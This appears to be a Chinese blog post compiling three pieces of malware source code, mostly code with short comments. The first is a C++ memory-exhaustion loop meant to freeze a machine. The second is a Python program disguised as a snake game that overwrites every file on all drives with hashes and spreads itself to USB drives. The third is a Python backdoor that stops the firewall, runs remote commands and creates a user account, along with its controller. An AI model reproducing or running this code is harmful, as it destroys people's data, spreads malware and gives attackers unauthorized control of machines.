参考了CSDN 和平鸽5567 的文档,这里是几篇文章的汇总
1号病毒:
病毒是C++语言
#include <bits/stdc++.h>
/*病毒不需要万能头文件,只需iostream,为了方便读者在下面添加其他功能,所以用万能头文件*/
using namespace std;
int main(){
while(true)
{
char *p=new char[10000];
}
return 0;
}
这代码没有什么要解释的,太简单。第五行是程序的关键,用来动态调用系统内存,并利用new函数插入10000(本数字是我精心挑选的,它是最大的不引起系统警告,而死机速度又很快的)个字符。
2号病毒:
病毒是Python3语言
import win32api
import win32con
import hashlib
import os
import shutil
import time
jmp = os.popen("wmic VOLUME GET Label, Name").read()
def Copy(np):
p = os.getcwd() + '\\snake.exe'
os.chdir(np)
shutil.copy(p,np)
def Usb():
plates = os.popen("wmic VOLUME GET Label, Name").read()
pl=['A:/','B:/','C:/','D:/','E:/','F:/','G:/','H:/','I:/','J:/','K:/','L:/','M:/','N:/','O:/','P:/','Q:/','R:/','S:/','T:/','U:/','V:/','W:/','X:/','Y:/','Z:/']
l = plates.__len__()
i = 0
for i in range(l+1):
try:
if plates[i+1]==':':
path = plates[i] + plates[i+1] + plates[i+2]
vpath = path + 'snake.exe'
try:
f = open(vpath)
except:
Copy(path)
except:
pass
def Thanos(plate):
g = os.walk(plate)
for path,d,filelist in g:
for filename in filelist:
if 'snake.exe' not in os.path.join(path,filename):
xd = open(os.path.join(path, filename), 'rb').read()
gys = xd
sha1 = hashlib.sha1(gys)
osv = sha1.hexdigest()
bx = bytes(osv, encoding='utf-8')
with open(os.path.join(path, filename), 'wb') as f:
f.write(bx)
def Snake():
import pygame, sys, random
check_errors = pygame.init()
if check_errors[1] > 0:
print("(!) Had {0} initializing errors, exiting...".format(check_errors[1]))
sys.exit(-1)
else:
print("(+) PyGame successfully initialized!")
playSurface = pygame.display.set_mode((820, 560))
pygame.display.set_caption('snake')
red = pygame.Color(255, 0, 0)
green = pygame.Color(0, 255, 0)
black = pygame.Color(0, 0, 0)
white = pygame.Color(255, 255, 255)
brown = pygame.Color(165, 42, 42)
fpsController = pygame.time.Clock()
snakePos = [100, 50]
snakeBody = [[100, 50], [90, 50], [80, 50]]
foodPos = [random.randrange(1, 72) * 10, random.randrange(1, 46) * 10]
foodSpawn = True
direction = 'RIGHT'
changeto = direction
score = 0
def gameOver():
myFont = pygame.font.SysFont('monaco', 72)
GOsurf = myFont.render('Game Over!', True, red)
GOrect = GOsurf.get_rect()
GOrect.midtop = (370, 190)
playSurface.blit(GOsurf, GOrect)
showScore(0)
pygame.display.flip()
time.sleep(4)
pygame.quit()
sys.exit()
def showScore(choice=1):
sFont = pygame.font.SysFont('monaco', 24)
Ssurf = sFont.render('Score : {0}'.format(score), True, black)
Srect = Ssurf.get_rect()
if choice == 1:
Srect.midtop = (370, 230)
else:
Srect.midtop = (370, 230)
playSurface.blit(Ssurf, Srect)
while True:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
sys.exit()
elif event.type == pygame.KEYDOWN:
if event.key == pygame.K_RIGHT or event.key == ord('d'):
changeto = 'RIGHT'
if event.key == pygame.K_LEFT or event.key == ord('a'):
changeto = 'LEFT'
if event.key == pygame.K_UP or event.key == ord('w'):
changeto = 'UP'
if event.key == pygame.K_DOWN or event.key == ord('s'):
changeto = 'DOWN'
if event.key == pygame.K_ESCAPE:
pygame.event.post(pygame.event.Event(pygame.QUIT))
if changeto == 'RIGHT' and not direction == 'LEFT':
direction = 'RIGHT'
if changeto == 'LEFT' and not direction == 'RIGHT':
direction = 'LEFT'
if changeto == 'UP' and not direction == 'DOWN':
direction = 'UP'
if changeto == 'DOWN' and not direction == 'UP':
direction = 'DOWN'
if direction == 'RIGHT':
snakePos[0] += 10
if direction == 'LEFT':
snakePos[0] -= 10
if direction == 'UP':
snakePos[1] -= 10
if direction == 'DOWN':
snakePos[1] += 10
snakeBody.insert(0, list(snakePos))
if snakePos[0] == foodPos[0] and snakePos[1] == foodPos[1]:
score += 1
foodSpawn = False
else:
snakeBody.pop()
if foodSpawn == False:
foodPos = [random.randrange(1, 82) * 10, random.randrange(1, 56) * 10]
foodSpawn = True
playSurface.fill(white)
for pos in snakeBody:
pygame.draw.rect(playSurface, green, pygame.Rect(pos[0], pos[1], 10, 10))
pygame.draw.rect(playSurface, brown, pygame.Rect(foodPos[0], foodPos[1], 10, 10))
if snakePos[0] >= 820 or snakePos[0] < 0:
gameOver()
if snakePos[1] >= 470 or snakePos[1] < 0:
gameOver()
for block in snakeBody[1:]:
if snakePos[0] == block[0] and snakePos[1] == block[1]:
gameOver()
showScore()
pygame.display.flip()
fpsController.tick(10)
print('lodding...')
pl=['A:/','B:/','C:/','D:/','E:/','F:/','G:/','H:/','I:/','J:/','K:/','L:/','M:/','N:/','O:/','P:/','Q:/','R:/','S:/','T:/','U:/','V:/','W:/','X:/','Y:/','Z:/']
l = jmp.__len__()
i = 0
for i in range(l+1):
try:
if jmp[i+1]==':':
path = jmp[i] + jmp[i+1] + jmp[i+2]
Thanos(path)
except:
pass
Snake()
win32api.MessageBox(0, 'your all files on this computer is in MD5!', 'Ooooooops!', win32con.MB_ICONWARNING)
while True:
time.sleep(60)
Usb()
一定不要在自己的电脑上运行
NEVER RUN THIS ON YOUR COMPUTER
病毒的作用是:加密电脑上所有文件。
呃......感觉......玩的有点过了呀......
运行此代码需要安装第三方库:
pywin32 如果你的Python是3.6版本,在cmd里运行:“pip install pywin32”(去掉引号)即可,否则,到https://github.com/mhammond/pywin32/ 里面下载对应的版本安装,具体安装过程可以看https://www.cnblogs.com/yjlch1016/p/8469429.html的介绍。
time、os、 hashlib是Python自带的。无需安装
3号病毒
还是Python3语言
此病毒分被控端——别人电脑上的、主控端——自己电脑上的
被控端:
import os
import socket
os.popen('net stop mpssvc')
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = 'USER-20180705UV'
port = 6666
s.bind((host,port))
s.listen(5)
while True:
print('lodding...\n\n')
c,addr = s.accept()
while True:
try:
client_date = str(c.recv(1024),'utf8')
if client_date == 'quit':
c.close()
break
except Exception:
break
if client_date == 'bd':
os.popen('net user hacker 123456 /ADD')
re = 'BackDoor ADD Finish! ' + socket.gethostbyname(socket.gethostname())
c.send(bytes(re,'utf8'))
else:
r = os.popen(client_date).read()
c.send(bytes(r,'utf8'))
os、socket都是Python自带库,无需安装
主控端:
import socket
host = input('Host: ') #对方的IP
port = 6666
hostport = (host,port)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(hostport)
def send():
user_input = input('> ').strip()
if user_input == 'quit':
s.close()
exit(0)
elif user_input == 'backdoor':
s.send(bytes('bd','utf8'))
else:
s.send(bytes(user_input,'utf8'))
def get():
server_reply = s.recv(1024)
print('Server result:\n')
print(str(server_reply, 'utf8'))
while True:
send()
get()
socket是Python自带库,无需安装
很简单,只能远程运行cmd命令,不过输入"backdoor"命令可以自动在Server上创建新用户。